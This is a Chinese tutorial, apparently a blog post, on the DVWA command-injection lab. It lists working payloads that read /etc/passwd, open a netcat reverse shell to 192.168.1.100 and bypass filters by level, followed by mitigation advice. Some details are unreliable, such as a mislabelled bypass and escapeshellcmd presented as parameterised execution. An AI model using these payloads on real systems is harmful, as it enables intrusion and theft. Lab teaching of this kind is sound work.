您好,登录后才能下订单哦!
# 如何分析DVWA下的命令注入通关
## 目录
1. [命令注入漏洞概述](#命令注入漏洞概述)
2. [DVWA环境搭建](#dvwa环境搭建)
3. [DVWA命令注入模块分析](#dvwa命令注入模块分析)
4. [低级安全级别实战](#低级安全级别实战)
5. [中级安全级别突破](#中级安全级别突破)
6. [高级安全级别挑战](#高级安全级别挑战)
7. [安全防护建议](#安全防护建议)
8. [总结与思考](#总结与思考)
## 命令注入漏洞概述
### 什么是命令注入
命令注入(Command Injection)是指攻击者通过应用程序执行非预期的系统命令的安全漏洞。当应用程序将用户输入直接拼接到系统命令中执行时,如果没有进行严格的过滤和验证,攻击者就可以构造特殊输入来执行任意命令。
### 危害等级
- **高危漏洞**:可导致服务器被完全控制
- **常见攻击形式**:
- 执行系统命令(如`whoami`、`id`)
- 读取敏感文件(`/etc/passwd`)
- 反弹Shell建立持久连接
- 植入挖矿程序或勒索软件
### 典型漏洞代码示例
```php
// 危险示例:直接拼接用户输入
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
git clone https://github.com/digininja/DVWA.git
cp config/config.inc.php.dist config/config.inc.php
$_DVWA['db_user'] = 'dvwa';
$_DVWA['db_password'] = 'p@ssw0rd';
http://localhost/DVWA/setup.php
在DVWA中有四个安全等级: - Low:无任何防护 - Medium:基础过滤 - High:严格过滤 - Impossible:完美防护
DVWA的命令注入模块模拟了一个简单的ping工具,允许用户输入IP地址进行网络连通性测试。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo "<pre>{$cmd}</pre>";
}
?>
shell_exec()
执行命令正常输入:
127.0.0.1
输出:返回ping结果
命令分隔测试:
127.0.0.1; whoami
输出:显示ping结果和当前用户
符号 | 作用 | 示例 |
---|---|---|
; |
命令分隔 | 127.0.0.1; id |
&& |
逻辑与 | 127.0.0.1 && uname -a |
| |
管道符 | 127.0.0.1 | cat /etc/passwd |
|| |
逻辑或 | invalid || ls -la |
多命令执行:
127.0.0.1; id; pwd; ls -la
文件读取:
127.0.0.1; cat /etc/passwd
反弹Shell(需要netcat):
127.0.0.1; nc -e /bin/bash 192.168.1.100 4444
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
$substitutions = array(
'&&' => '',
';' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
大小写绕过:
127.0.0.1 &%26 id
使用未过滤符号:
127.0.0.1 | id
换行符绕过:
127.0.0.1%0aid
变量替换:
127.0.0.1$a=id;$a
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
$target = explode( " ", $target );
$target = $target[0];
$cmd = shell_exec( 'ping -c 4 ' . $target );
无空格命令执行:
127.0.0.1{cat,/etc/passwd}
使用Tab字符(%09):
127.0.0.1%09cat%09/etc/passwd
内联执行:
127.0.0.1$(cat /etc/passwd)
使用白名单验证:
if (!preg_match('/^[0-9.]+$/', $ip)) {
die("Invalid IP address");
}
使用专用函数替代命令执行:
// 使用filter_var验证IP
if (filter_var($ip, FILTER_VALIDATE_IP)) {
// 安全处理
}
参数化执行:
$cmd = ['ping', '-c', '4', $ip];
shell_exec(escapeshellcmd(implode(' ', $cmd)));
禁用危险函数:
disable_functions = exec,passthru,shell_exec,system
使用最小权限原则:
定期安全审计:
命令注入漏洞的核心问题是将用户输入作为代码执行,违反了”数据与代码分离”的基本原则。
附录:常用命令注入检测工具 1. OWASP ZAP 2. Burp Suite 3. Commix(自动化命令注入工具)
参考资源 - OWASP Command Injection - DVWA官方文档 - PHP安全编程指南 “`
注:本文为技术研究文章,所有测试应在合法授权环境下进行。未经授权的渗透测试可能违反法律法规。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。